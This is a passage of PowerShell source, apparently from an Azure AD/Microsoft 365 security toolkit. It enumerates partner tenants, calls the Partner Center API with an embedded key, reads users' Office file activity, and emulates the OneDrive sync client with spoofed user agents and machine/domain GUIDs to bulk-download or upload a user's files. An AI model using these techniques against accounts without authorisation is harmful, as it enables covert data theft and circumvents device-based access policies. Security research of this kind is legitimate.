eab8b88b-cf1a-441a-9ad9-6a8d94dcccbb Solu Digital Oy FI @{country=FI; region=Europe; city...
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[int]$MaxResults=100,
[Parameter(Mandatory=$False)]
[string]$Country,
[Parameter(Mandatory=$False)]
[ValidateSet("Consulting","Custom solution","Deployment or Migration","Hardware","IP Services(ISV)","Integration","Learning and Certification","Licensing","Managed Services (MSP)","Project management")]
[string[]]$Services
)
Process
{
if($Domain)
{
$TenantId = Get-TenantID -Domain $Domain
}
if($services)
{
$servicesParameter = ";services=$([System.Web.HttpUtility]::UrlEncode(($services -join ",")))"
}
$totalresults = 0
$offSet = 0
$pageSize = 20
$first=$true
# For book keeping, returns many duplicates :(
$foundTenants = @()
while($totalResults -lt $MaxResults)
{
$url = "https://main.prod.marketplacepartnerdirectory.azure.com/api/partners?filter=pageSize=$pageSize;pageOffset=$offSet;country=$Country;onlyThisCountry=true$servicesParameter"
# Invoke the API call
$response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri $url
# Print out the estimated number of results
if($first)
{
Write-Host "Estimated total matches: $($response.estimatedTotalMatchingPartners)"
$first = $false
}
# Adjust the max results as needed
$MaxResults = [math]::Min($MaxResults,$response.estimatedTotalMatchingPartners)
$items = $response.matchingPartners.items
# Loop through the items
foreach($item in $items)
{
if($foundTenants -notcontains $item.partnerId)
{
$totalResults++
$foundTenants += $item.partnerId
$attributes = [ordered]@{
"TenantId" = $item.partnerId
"CompanyName" = $item.name
"Country" = $item.location.address.country
"Address" = $item.location.address
}
New-Object psobject -Property $attributes
}
}
# Continue as needed
if($items.count -eq $pageSize)
{
# More items
$offSet += $pageSize
}
else
{
# Got all
break
}
}
}
}
+42
View File
@@ -0,0 +1,42 @@
# This file contains utility functions for MS Partner operations.
# Invoke parter api
# Aug 27th 2021
function Invoke-MSPartnerAPI
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$Body,
[Parameter(Mandatory=$True)]
[String]$Url,
[Parameter(Mandatory=$True)]
[ValidateSet('Get','Post','Patch','Put')]
[String]$Method
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "fa3d9a0c-3fb0-42cc-9193-47c7ecd2edbd" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
"ocp-apim-subscription-key" = "c306f5dd740f4946920822865932a356"
"MS-PartnerCenter-Client" = "Partner Center Web"
}
# Invoke the command with Invoke-WebRequest so we can remove BOM
$response = Invoke-WebRequest -UseBasicParsing -Method $Method -Uri "https://api.partnercenter.microsoft.com/$Url" -Headers $headers -Body $body
$responseBytes = New-Object byte[] $response.RawContentLength
$response.RawContentStream.Read($responseBytes,0,$response.RawContentLength) | Out-Null
# Strip the BOM and convert to json
[text.encoding]::UTF8.getString([byte[]](Remove-BOM -ByteArray $responseBytes)) | ConvertFrom-Json
}
}
+120
View File
@@ -0,0 +1,120 @@
# This script contains functions for OfficeApps
# https://office.microsoft.com/Config15
# Get user Office connections
function Get-UserConnections
{
<#
.SYNOPSIS
Returns user's office connections
.DESCRIPTION
Returns user's office connections
.Example
$cred=Get-Credential
$at=Get-AADIntAccessTokenForOfficeApps -credentials $cred
Get-AADIntUserConnections -AccessToken $at
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "ab9b8c07-8f02-4f72-87fa-80105867a763" -Resource "https://officeapps.live.com"
$headers = @{
"Authorization"="Bearer $AccessToken"
}
$response=Invoke-RestMethod -UseBasicParsing -Uri "https://odc.officeapps.live.com/odc/servicemanager/userconnected" -Headers $headers
return $response.ConnectedServicesResults.ServiceConnections.Connection
}
}
# Get recently used Office file connections
function Get-RecentLocations
{
<#
.SYNOPSIS
Returns user's recent office file locations
.DESCRIPTION
Returns user's recent office file locations
.Example
$cred=Get-Credential
$at=Get-AADIntAccessTokenForOfficeApps -credentials $cred
Get-AADIntRecentLocations -AccessToken $at
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[ValidateSet('Word','PowerPoint','OneNote','Excel','Visio','Sway','All')]
[String]$App="All",
[Parameter(Mandatory=$False)]
[Int]$Show=100
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "ab9b8c07-8f02-4f72-87fa-80105867a763" -Resource "https://officeapps.live.com"
$headers = @{
"Authorization"="Bearer $AccessToken"
}
if($App -eq "All")
{
$Apps='Word,PowerPoint,OneNote,Excel,Visio,Sway'
}
else
{
$Apps=$App
}
Invoke-RestMethod -UseBasicParsing -Uri "https://ocws.officeapps.live.com/ocs/locations/recent?apps=$Apps&show=$Show" -Headers $headers
}
}
# Gets documents shared with the given user
function Get-SharedWithUser
{
<#
.SYNOPSIS
Returns the documents shared with the given user
.DESCRIPTION
Returns the documents shared with the given user
.Example
$cred=Get-Credential
$at=Get-AADIntAccessTokenForOfficeApps -credentials $cred
Get-AADIntSharedWithUser -AccessToken $at
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "ab9b8c07-8f02-4f72-87fa-80105867a763" -Resource "https://officeapps.live.com"
$headers = @{
"Authorization"="Bearer $AccessToken"
}
$response=Invoke-RestMethod -UseBasicParsing -Uri "https://ocws.officeapps.live.com/ocs/docs/v2.0/sharedwithme" -Headers $headers
return $response.shared_documents
}
}
+504
View File
@@ -0,0 +1,504 @@
# Functions for emulating OneDrive native client
# Gets the ID of default document library
# Nov 26th 2019
function Get-ODDefaultDocLibId
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$OneDriveSettings
)
Process
{
$command+="/_api/web/DefaultDocumentLibrary/ID"
$response = Invoke-ODCommand -Command $command -OneDriveSettings $OneDriveSettings
# Return
$response.D.id
}
}
# Gets the Site ID of user's OneDrive
# Nov 26th 2019
function Get-ODDefaultSiteId
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$OneDriveSettings
)
Process
{
$command+="/_api/Site/Id"
$response = Invoke-ODCommand -Command $command -OneDriveSettings $OneDriveSettings
# Return
$response.d.id
}
}
# Gets the user's OneDrive sync policy
# Nov 26th 2019
function Get-ODSyncPolicy
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$OneDriveSettings
)
Process
{
$command+="/_api/SPFileSync/sync/$($OneDriveSettings.DefaultDocumentLibraryId)/policy/"
$response = Invoke-ODCommand -Command $command -OneDriveSettings $OneDriveSettings -Accept "Application/xml"
# Return
$rules=$response.PolicyDocument.Rule
$attributes = @{}
foreach($rule in $rules)
{
$attributes[$rule.name] = $rule.value
}
$policy = New-Object PSObject -Property $attributes
# return
$policy
}
}
# Gets the list of user's OneDrive sync files
# Nov 26th 2019
function Get-ODSyncFiles
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$OneDriveSettings,
[Parameter(Mandatory=$False)]
[ValidateRange(1,1000)]
[int]$MaxItems=1000,
[Parameter(Mandatory=$False)]
[guid]$DomainGuid,
[Parameter(Mandatory=$False)]
[boolean]$Mac=$false,
[Parameter(Mandatory=$False)]
[guid]$MachineGuid
)
Process
{
# Set the special headers
$headers=@{"X-MachineId" = "$($MachineGuid.toString())"}
if(!$MAC)
{
$headers["X-MachineDomainInfo"] = "{$($DomainGuid.toString())}"
}
# Paging..
$syncToken = $null
$continue = $true
# Return value
$retVal = @()
while($continue)
{
$command="/_api/SPFileSync/sync/$($OneDriveSettings.DefaultDocumentLibraryId)/RootFolder?Filter=changes&InlineBlobs=false&MaxItemCount=$MaxItems&View=SkyDriveSync"
if(![string]::IsNullOrEmpty($syncToken))
{
$command += "&SyncToken=$syncToken"
}
# We need the response headers to know whether we've done or is there more data to get
$responseHeaders = @{}
# Get the response using StreamReader, otherwise the response is not properly decoded (using ISO-8859-1 instead of UTF-8)
$response = Invoke-ODCommand -Command $command -OneDriveSettings $OneDriveSettings -Accept "Application/xml" -headers $headers -UseStreamReader -ResponseHeaders ([ref]$responseHeaders) -Mac $Mac
if($response -eq $null -or [String]::IsNullOrEmpty($responseHeaders["Value"]["X-HasMoreData"]) -or $responseHeaders["Value"]["X-HasMoreData"] -ne "True")
{
$continue = $false
}
else
{
$syncToken = $responseHeaders["Value"]["X-SyncToken"]
}
# Add to return array
[xml]$xmlResponse = $response
$retVal += $xmlResponse
}
# Return
$retVal
}
}
# Downloads the user's OneDrive files
# Nov 26th 2019
function Get-OneDriveFiles
{
<#
.SYNOPSIS
Downloads user's OneDrive
.DESCRIPTION
Downloads the user's OneDrive root folder and files recursively
.Parameter OneDriveSettings
OneDrive settings of the user
.Parameter PrintOnly
Doesn't download the files
.Parameter FoldersOnly
Doesn't handle files but only folders
.Parameter Mac
Pretend to be a macOS client
.Example
$os = New-AADIntOneDriveSettings
Get-AADIntOneDriveFiles -OneDriveSettings $os | Format-Table
Path Size Created Modified ResourceID
---- ---- ------- -------- ----------
\RootFolder\Document1.docx 11032 2.12.2019 20.47.23 2.12.2019 20.48.46 5e7acf393a2e45f18c1ce6caa7...
\RootFolder\Book.xlsx 8388 2.12.2019 20.49.14 2.12.2019 20.50.14 b26c0a38d4d14b23b785576e29...
\RootFolder\Docs\Document1.docx 84567 9.12.2019 11.24.40 9.12.2019 12.17.50 d9d51e47b66c4805aff3a08763...
\RootFolder\Docs\Document2.docx 31145 7.12.2019 17.28.37 7.12.2019 17.28.37 972f9c317e1e468fb2b6080ac2...
.Example
$os = New-AADIntOneDriveSettings
Get-AADIntOneDriveFiles -OneDriveSettings $os -PrintOnly | Format-Table
Path Size Created Modified ResourceID
---- ---- ------- -------- ----------
\RootFolder\Document1.docx 11032 2.12.2019 20.47.23 2.12.2019 20.48.46 5e7acf393a2e45f18c1ce6caa7...
\RootFolder\Book.xlsx 8388 2.12.2019 20.49.14 2.12.2019 20.50.14 b26c0a38d4d14b23b785576e29...
\RootFolder\Docs\Document1.docx 84567 9.12.2019 11.24.40 9.12.2019 12.17.50 d9d51e47b66c4805aff3a08763...
\RootFolder\Docs\Document2.docx 31145 7.12.2019 17.28.37 7.12.2019 17.28.37 972f9c317e1e468fb2b6080ac2...
.Example
$os = New-AADIntOneDriveSettings
Get-AADIntOneDriveFiles -OneDriveSettings $os -DomainGuid "ff909322-6b19-4a86-b9e9-e01ebb9432fe" | Format-Table
Path Size Created Modified ResourceID
---- ---- ------- -------- ----------
\RootFolder\Document1.docx 11032 2.12.2019 20.47.23 2.12.2019 20.48.46 5e7acf393a2e45f18c1ce6caa7...
\RootFolder\Book.xlsx 8388 2.12.2019 20.49.14 2.12.2019 20.50.14 b26c0a38d4d14b23b785576e29...
\RootFolder\Docs\Document1.docx 84567 9.12.2019 11.24.40 9.12.2019 12.17.50 d9d51e47b66c4805aff3a08763...
\RootFolder\Docs\Document2.docx 31145 7.12.2019 17.28.37 7.12.2019 17.28.37 972f9c317e1e468fb2b6080ac2...
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$OneDriveSettings,
[Parameter(Mandatory=$False)]
[int]$MaxItems=500,
[Parameter(Mandatory=$False)]
[guid]$DomainGuid = (New-Guid),
[switch]$Mac,
[switch]$PrintOnly,
[switch]$FoldersOnly
)
Process
{
# Get the list of sync files
$allSyncFiles = Get-ODSyncFiles -OneDriveSettings $OneDriveSettings -MaxItems $MaxItems -DomainGuid $DomainGuid -MachineGuid (New-Guid) -Mac $Mac
foreach($syncFiles in $allSyncFiles)
{
# Dowload the OneDrive root folder
Get-ODFolder -OneDriveSettings $OneDriveSettings -Folder $syncFiles.Folder -PrintOnly $PrintOnly -FoldersOnly $FoldersOnly
}
}
}
# Downloads the user's OneDrive files
# Dec 9th 2019
function Send-OneDriveFile
{
<#
.SYNOPSIS
Sends a file to user's OneDrive
.DESCRIPTION
Sends a file to user's OneDrive
.Parameter OneDriveSettings
OneDrive settings of the user
.Parameter FileName
File name of the file to be sent OneDrive
.Parameter ETag
Contains Resource ID and version information of the file. If provided, tries to update the file
.Parameter FolderId
Contains Resource ID of folder where file will be uploaded.
.Parameter DomainGuid
Guid of the domain of user's computer.
.Parameter Mac
Pretend to be a macOS client
.Example
$os = New-AADIntOneDriveSettings
Send-AADIntOneDriveFile -FileName "Document1.docx" -OneDriveSettings $os -FolderId 3936bbea74b54f52b4c0ec6f362d6df9rea
ResourceID : 68c71b7f4be8414b9752266ef4d715b3
ETag : "{68C71B7F-4BE8-414B-9752-266EF4D715B3},2"
DateModified : 2019-12-09T10:57:36.0000000Z
RelationshipName : Document1.docx
ParentResourceID : 3936bbea74b54f52b4c0ec6f362d6df9
fsshttpstate.xschema.storage.live.com : fsshttpstate.xschema.storage.live.com
DocumentStreams : DocumentStreams
WriteStatus : Success
.Example
$os = New-AADIntOneDriveSettings
Send-AADIntOneDriveFile -FileName "Document1.docx" -OneDriveSettings $os -ETag "{68c71b7f-4be8-414b-9752-266ef4d715b3},2" -FolderId 3936bbea74b54f52b4c0ec6f362d6df9
ResourceID : 68c71b7f4be8414b9752266ef4d715b3
ETag : "{68C71B7F-4BE8-414B-9752-266EF4D715B3},3"
DateModified : 2019-12-09T10:57:36.0000000Z
RelationshipName : Document1.docx
ParentResourceID : 3936bbea74b54f52b4c0ec6f362d6df9
fsshttpstate.xschema.storage.live.com : fsshttpstate.xschema.storage.live.com
DocumentStreams : DocumentStreams
WriteStatus : Success
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$FileName,
[Parameter(Mandatory=$True)]
$OneDriveSettings,
[Parameter(Mandatory=$True)]
[String]$FolderId,
[Parameter(Mandatory=$False)]
[guid]$DomainGuid=(New-Guid),
[Parameter(Mandatory=$False)]
[switch]$Mac,
[Parameter(Mandatory=$False)]
[String]$ETag
)
Process
{
# Check that the file exists..
if(!(Test-Path $FileName))
{
Write-Error "The file $FileName does not exist!"
return
}
# Get the file and information
$file = Get-Item $FileName
[byte[]]$fileBytes=Get-BinaryContent $FileName
$created=$file.CreationTimeUtc.toString("yyyy-MM-ddTHH:mm:ss.0000000Z").Replace(".",":")
$modified=$file.LastWriteTimeUtc.toString("yyyy-MM-ddTHH:mm:ss.0000000Z").Replace(".",":")
# Create hash and IDs
$hash = Get-XorHash $FileName
$multipartUUID = (New-Guid).ToString()
$fileUUID = (New-Guid).ToString()
$parentId = $OneDriveSettings.DefaultDocumentLibraryId
$command+="/_api/SPFileSync/sync/$($parentId.Replace('-',''))/RootFolder?View=SkyDriveSync"
# Set the write mode
$WriteMode="Create"
if(![string]::IsNullOrEmpty($ETag))
{
$resourceId=($ETag.Substring(1,($ETag.LastIndexOf("}")-1))).Replace("-","")
$etagXml = "<ResourceID>$resourceId</ResourceID><ETag>`"$ETag`"</ETag>"
$WriteMode="Update"
}
$bodyStart=@"
--uuid:$multipartUUID
Content-ID: <LiveFolders>
Content-Type: application/web3s+xml
<?xml version="1.0" encoding="utf-8"?><Items><Document><ParentResourceID>$($FolderId.Replace('-',''))</ParentResourceID><WriteMode>$WriteMode</WriteMode>$etagXml<RelationshipName>$($file.Name)</RelationshipName><DateCreatedOnClient>$created</DateCreatedOnClient><DateModifiedOnClient>$modified</DateModifiedOnClient><DocumentStreams><DocumentStream><DocumentStreamName>Default</DocumentStreamName><MimeType>application/octet-stream</MimeType><XORHash>$hash</XORHash><FragmentSessionId>$fileUUID</FragmentSessionId><DataSize>$($fileBytes.Length)</DataSize></DocumentStream></DocumentStreams></Document></Items>
--uuid:$multipartUUID
Content-Transfer-Encoding: binary
Content-Type: application/octet-stream
Content-ID:<"$fileUUID":Default>
"@
$bodyEnd = @"
--uuid:$multipartUUID--
"@
$body=@()
$body+=[System.Text.Encoding]::ASCII.GetBytes($bodyStart)
$body+=$fileBytes
$body+=[System.Text.Encoding]::ASCII.GetBytes($bodyEnd)
$headers=@{
"Scenario" = "StorageInlineUploadsScenario"
"Content-Type" = "multipart/related; boundary=`"uuid:$multipartUUID`""
"Application" = "OneDriveSync"
#"X-TransactionId" = "$((New-Guid).ToString())StorageInlineUploadsScenario"
"X-RestrictedWriteCapabilities" = "Irm, LabelIrm"
"X-SyncFeatures" = "40"
"X-SynchronousMetadata" = "false"
"X-UpdateGroupId" = "60"
"X-UpdateRing" = "Prod"
#"X-SubscriptionIdToNotNotify" = (New-Guid).ToString()
#"X-MachineDomainInfo" = "{$($DomainGuid.toString())}"
#"X-MachineId" = "$((New-Guid).toString())"
#"X-RequestStats" ="btuc=6;did=$((New-Guid).toString());ftuc=1"
"X-CustomIdentity" = "SkyDriveSync=$((New-Guid).toString())"
"X-GeoMoveOptions" = "HttpRedirection"
}
if(!$MAC)
{
$headers["X-MachineDomainInfo"] = "{$($DomainGuid.toString())}"
}
$responseHeaders = @{}
# First get the X-RequestDigest
Invoke-ODCommand -OneDriveSettings $OneDriveSettings -Command $command -Body ([byte[]]$body) -Scenario "" -UseStreamReader -ResponseHeaders ([ref]$responseHeaders) -headers $headers -Accept "Application/Web3s+xml" -Mac $Mac
if(![String]::IsNullOrEmpty($responseHeaders["Value"]["X-RequestDigest"]))
{
$headers+=@{
"X-RequestDigest" = $responseHeaders["Value"]["X-RequestDigest"]
}
# The try to send again
[xml]$response = Invoke-ODCommand -OneDriveSettings $OneDriveSettings -Command $command -Body ([byte[]]$body) -Scenario "" -UseStreamReader -headers $headers -Accept "Application/Web3s+xml" -Mac $Mac
}
# Return
$response.Items.Document
}
}
# Downloads a folder from user's OneDrive
# Nov 26th
function Get-ODFolder
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$OneDriveSettings,
[Parameter(Mandatory=$True)]
$Folder,
[Parameter(Mandatory=$False)]
[bool]$PrintOnly,
[Parameter(Mandatory=$False)]
[bool]$FoldersOnly
)
Process
{
if(!$PrintOnly)
{
Write-Verbose "Folder: $($Folder.Path)"
New-Item -ItemType Directory -Path ".$($Folder.Path)" -Force | Out-Null
}
# Set the attributes
$attributes=[ordered]@{
"Path" = $Folder.Path.replace("/","\")
"Size" = ""
"ETag" = ""
"Created" = [DateTime]$Folder.DateCreated
"Modified" = [DateTime]$Folder.DateModified
"ResourceID" = $Folder.ResourceID
"MimeType" = ""
"Url" = ""
"XORHash" = ""
}
$FolderFile = New-Object PSObject -Property $attributes
$FolderFile
if(!$FoldersOnly)
{
# Download the files
foreach($document in $Folder.Items.Document)
{
Get-ODDocument -OneDriveSettings $OneDriveSettings -Document $document -PrintOnly $PrintOnly
}
}
# Download the folders
foreach($subFolder in $Folder.Items.Folder)
{
Get-ODFolder -OneDriveSettings $OneDriveSettings -Folder $subFolder -PrintOnly $PrintOnly
}
}
}
# Downloads a file from user's OneDrive
# Nov 26th
function Get-ODDocument
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$OneDriveSettings,
[Parameter(Mandatory=$True)]
$Document,
[Parameter(Mandatory=$False)]
[bool]$PrintOnly
)
Process
{
# Set the attributes
$attributes=[ordered]@{
"Path" = $Document.Path.replace("/","\")
"Size" = $Document.DocumentStreams.DocumentStream.DataSize
"ETag" = $Document.ETag
"Created" = [DateTime]$Document.DateCreated
"Modified" = [DateTime]$Document.DateModified
"ResourceID" = $Document.ResourceID
"MimeType" = $Document.DocumentStreams.DocumentStream.MimeType
"Url" = $Document.DocumentStreams.DocumentStream.PreAuthURL
"XORHash" = $Document.DocumentStreams.DocumentStream.XORHash
}
$DocFile = New-Object PSObject -Property $attributes
if(!$PrintOnly)
{
# Create a web session for the authentication cookie
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$webCookie = New-Object System.Net.Cookie
$webCookie.Name = ($OneDriveSettings.AuthenticationCookie.Split("="))[0]
$webCookie.Value = $OneDriveSettings.AuthenticationCookie.Substring($webCookie.Name.Length + 1)
$webCookie.Domain = ($OneDriveSettings.Url.Split("/"))[2]
$session.Cookies.Add($webCookie)
# Download the file
Invoke-WebRequest -UseBasicParsing -Method Get -Uri $DocFile.Url -OutFile ".$($DocFile.Path)" -WebSession $session
# Set the date attributes
$FileItem = Get-Item ".$($DocFile.Path)"
$FileItem.CreationTime=$DocFile.Created
$FileItem.LastWriteTime=$DocFile.Modified
}
return $DocFile
}
}
+409
View File
@@ -0,0 +1,409 @@
# Utility functions for OneDrive native client
# OneDrive settings class
class OneDriveSettings {
[string]$Url
[string]$AuthenticationCookie
[string]$DefaultDocumentLibraryId
[string]$DownloadUrlTemplate
[int]$ItemCount
}
# Gets the authentication cookie for OneDrive native client
# Nov 26th 2019
function Get-ODAuthenticationCookie
{
<#
.SYNOPSIS
Gets authentication cookie for OneDrive
.DESCRIPTION
Gets authentication cookie for OneDrive native client
.Parameter AccessToken
AccessToken for OneDrive
.Example
Get-AADIntODAuthenticationCookie
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken
)
Process
{
# Get the tenant url
$tenant = ((Read-Accesstoken $AccessToken).aud.Split("/"))[2]
$url = "https://$tenant/_api/SP.OAuth.NativeClient/Authenticate?client-request-id=$((New-Guid).toString())"
$headers=@{
"Authorization" = "Bearer $AccessToken"
"Accept"= "application/json;odata=verbose"
"User-Agent"="Microsoft SkyDriveSync 19.192.0926.0012 ship; Windows NT 10.0 (17763)"
"X-GeoMoveOptions" = "HttpRedirection"
"X-IDCRL_ACCEPTED" ="t"
"X-UserScenario"= "AUO,SignIn"
}
# Call the authentication API
$response = Invoke-WebRequest -UseBasicParsing -uri $url -MaximumRedirection 0 -ErrorAction SilentlyContinue -Method Post -ContentType "application/x-www-form-urlencoded" -Headers $headers
# Return the SPOIDCRL cookie
($response.headers["Set-Cookie"].split(";"))[0]
}
}
# Invokes the OD API commands
# Nov 26th
function Invoke-ODCommand
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$OneDriveSettings,
[Parameter(Mandatory=$True)]
[String]$Command,
[Parameter(Mandatory=$False)]
[String]$Accept="application/json;odata=verbose",
[Parameter(Mandatory=$False)]
[String]$Scenario="AUO,SignIn",
[Parameter(Mandatory=$False)]
[byte[]]$Body,
[Parameter(Mandatory=$False)]
$headers=@{},
[Parameter(Mandatory=$False)]
[Switch]$UseStreamReader,
[Parameter(Mandatory=$False)]
[PSObject][ref]$ResponseHeaders,
[Parameter(Mandatory=$False)]
[boolean]$Mac=$False
)
Process
{
# Set the headers
$headers["Accept"] = $Accept
if($MAC)
{
$headers["User-Agent"] = "Microsoft SkyDriveSync 20.169.0823.0006 ship; Mac OS X 10.15.7"
}
else
{
$headers["User-Agent"] = "Microsoft SkyDriveSync 19.192.0926.0012 ship; Windows NT 10.0 (17763)"
}
if(![string]::IsNullOrEmpty($Scenario))
{
$headers["X-UserScenario"] = $Scenario
}
# Create a web session for the authentication cookie
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$webCookie = New-Object System.Net.Cookie
$webCookie.Name = ($OneDriveSettings.AuthenticationCookie.Split("="))[0]
$webCookie.Value = $OneDriveSettings.AuthenticationCookie.Substring($webCookie.Name.Length + 1)
$webCookie.Domain = ($OneDriveSettings.Url.Split("/"))[2]
$session.Cookies.Add($webCookie)
# Create the url
$url = $OneDriveSettings.Url
$url += $Command
# Call the API
try
{
if($UseStreamReader)
{
if($Body -ne $null)
{
$fullResponse = Invoke-WebRequest -UseBasicParsing -uri $url -Method Post -Headers $headers -WebSession $session -Body $Body
}
else
{
$fullResponse = Invoke-WebRequest -UseBasicParsing -uri $url -Method Get -Headers $headers -WebSession $session
}
$response = [System.IO.StreamReader]::new($fullResponse.RawContentStream, [System.Text.Encoding]::UTF8).ReadToEnd()
if($ResponseHeaders -ne $null)
{
$ResponseHeaders.Value = $fullResponse.headers
}
}
else
{
$response = Invoke-RestMethod -UseBasicParsing -uri $url -Method Get -Headers $headers -WebSession $session
}
}
catch
{
if($_.Exception -like "*(501)*")
{
Write-Error "Got 501 - try using a -Mac switch or proper domain guid"
}
elseif($Body -ne $null -and $_.Exception -like "*(403)*" -and $ResponseHeaders -ne $null)
{
# This is part of the normal file upload flow
$ResponseHeaders.Value = $_.Exception.Response.Headers
}
else
{
Write-Error $_.Exception
}
return
}
# Return
$response
}
}
# Creates an OneDrive settings object to be used in OneDrive functions
function New-OneDriveSettings
{
<#
.SYNOPSIS
Creates a new OneDriveSettings object
.DESCRIPTION
Creates a new OneDriveSettings object used with OneDrive functions
.Example
$os = New-AADIntOneDriveSettings
PS C:\> Get-AADIntOneDriveFiles -OneDriveSettings $os | Format-Table
Path Size Created Modified ResourceID
---- ---- ------- -------- ----------
\RootFolder\Document1.docx 11032 2.12.2019 20.47.23 2.12.2019 20.48.46 5e7acf393a2e45f18c1ce6caa7...
\RootFolder\Book.xlsx 8388 2.12.2019 20.49.14 2.12.2019 20.50.14 b26c0a38d4d14b23b785576e29...
\RootFolder\Docs\Document1.docx 84567 9.12.2019 11.24.40 9.12.2019 12.17.50 d9d51e47b66c4805aff3a08763...
\RootFolder\Docs\Document2.docx 31145 7.12.2019 17.28.37 7.12.2019 17.28.37 972f9c317e1e468fb2b6080ac2...
#>
[cmdletbinding()]
Param(
[Parameter(ParameterSetName='Credentials',Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(ParameterSetName='SAML',Mandatory=$True)]
[String]$SAMLToken,
[Parameter(ParameterSetName='Kerberos',Mandatory=$True)]
[String]$KerberosTicket,
[Parameter(ParameterSetName='Kerberos',Mandatory=$True)]
[String]$Domain
)
Process
{
# Create a new settings object
$ODSettings=[OneDriveSettings]::new()
# Get AccessToken for OfficeApps
$OAtoken=Get-AccessToken -Resource "https://officeapps.live.com" -ClientId "ab9b8c07-8f02-4f72-87fa-80105867a763" -KerberosTicket $KerberosTicket -Domain $Domain -SAMLToken $SAMLToken -Credentials $Credentials -IncludeRefreshToken $true
# Get the connection details
$connections = Get-UserConnections -AccessToken $OAtoken[0]
# Get the url
foreach($connection in $connections)
{
if($connection.EnabledCapabilities -eq 2051) # Should be OneDrive
{
$url = $connection.ConnectionUrl
# Strip the "/Documents" from the end of the url
$ODSettings.Url = $url.Substring(0,$url.LastIndexOf("/"))
break
}
}
if([string]::IsNullOrEmpty($ODSettings.Url))
{
# The user doesn't have onedrive :(
$upn = (Read-Accesstoken $OAtoken[0]).upn
Write-Error "The user $upn doesn't have OneDrive :("
return
}
# Get AccessToken for OneDrive
$ODtoken=Get-AccessTokenWithRefreshToken -Resource "https://$(($ODSettings.Url.Split("/"))[2])" -ClientId "ab9b8c07-8f02-4f72-87fa-80105867a763" -RefreshToken $OAtoken[1] -TenantId ((Read-Accesstoken -AccessToken $OAtoken[0]).tid)
# Get the authentication cookie
$ODSettings.AuthenticationCookie = Get-ODAuthenticationCookie -AccessToken $ODtoken
# Get the document library id
$ODSettings.DefaultDocumentLibraryId = Get-ODDefaultDocLibId -OneDriveSettings $ODSettings
# Get the sync policy
$syncPolicy = Get-ODSyncPolicy -OneDriveSettings $ODSettings
# Set the download url template
$dlUrl = $syncPolicy.DownloadUrlTemplate
$ODSettings.DownloadUrlTemplate = $dlUrl.Substring(0,$dlUrl.IndexOf("{"))
# Set the ItemCount
$ODSettings.ItemCount = [int]$syncPolicy.ItemCount
# return
$ODSettings
}
}
# QuickXorHash by Microsoft https://docs.microsoft.com/en-us/onedrive/developer/code-snippets/quickxorhash
# Dec 9th 2019
$xorhash_code = @"
using System;
public class QuickXorHash : System.Security.Cryptography.HashAlgorithm
{
private const int BitsInLastCell = 32;
private const byte Shift = 11;
private const int Threshold = 600;
private const byte WidthInBits = 160;
private UInt64[] _data;
private Int64 _lengthSoFar;
private int _shiftSoFar;
public QuickXorHash()
{
this.Initialize();
}
protected override void HashCore(byte[] array, int ibStart, int cbSize)
{
unchecked
{
int currentShift = this._shiftSoFar;
// The bitvector where we'll start xoring
int vectorArrayIndex = currentShift / 64;
// The position within the bit vector at which we begin xoring
int vectorOffset = currentShift % 64;
int iterations = Math.Min(cbSize, QuickXorHash.WidthInBits);
for (int i = 0; i < iterations; i++)
{
bool isLastCell = vectorArrayIndex == this._data.Length - 1;
int bitsInVectorCell = isLastCell ? QuickXorHash.BitsInLastCell : 64;
// There's at least 2 bitvectors before we reach the end of the array
if (vectorOffset <= bitsInVectorCell - 8)
{
for (int j = ibStart + i; j < cbSize + ibStart; j += QuickXorHash.WidthInBits)
{
this._data[vectorArrayIndex] ^= (ulong)array[j] << vectorOffset;
}
}
else
{
int index1 = vectorArrayIndex;
int index2 = isLastCell ? 0 : (vectorArrayIndex + 1);
byte low = (byte)(bitsInVectorCell - vectorOffset);
byte xoredByte = 0;
for (int j = ibStart + i; j < cbSize + ibStart; j += QuickXorHash.WidthInBits)
{
xoredByte ^= array[j];
}
this._data[index1] ^= (ulong)xoredByte << vectorOffset;
this._data[index2] ^= (ulong)xoredByte >> low;
}
vectorOffset += QuickXorHash.Shift;
while (vectorOffset >= bitsInVectorCell)
{
vectorArrayIndex = isLastCell ? 0 : vectorArrayIndex + 1;
vectorOffset -= bitsInVectorCell;
}
}
// Update the starting position in a circular shift pattern
this._shiftSoFar = (this._shiftSoFar + QuickXorHash.Shift * (cbSize % QuickXorHash.WidthInBits)) % QuickXorHash.WidthInBits;
}
this._lengthSoFar += cbSize;
}
protected override byte[] HashFinal()
{
// Create a byte array big enough to hold all our data
byte[] rgb = new byte[(QuickXorHash.WidthInBits - 1) / 8 + 1];
// Block copy all our bitvectors to this byte array
for (Int32 i = 0; i < this._data.Length - 1; i++)
{
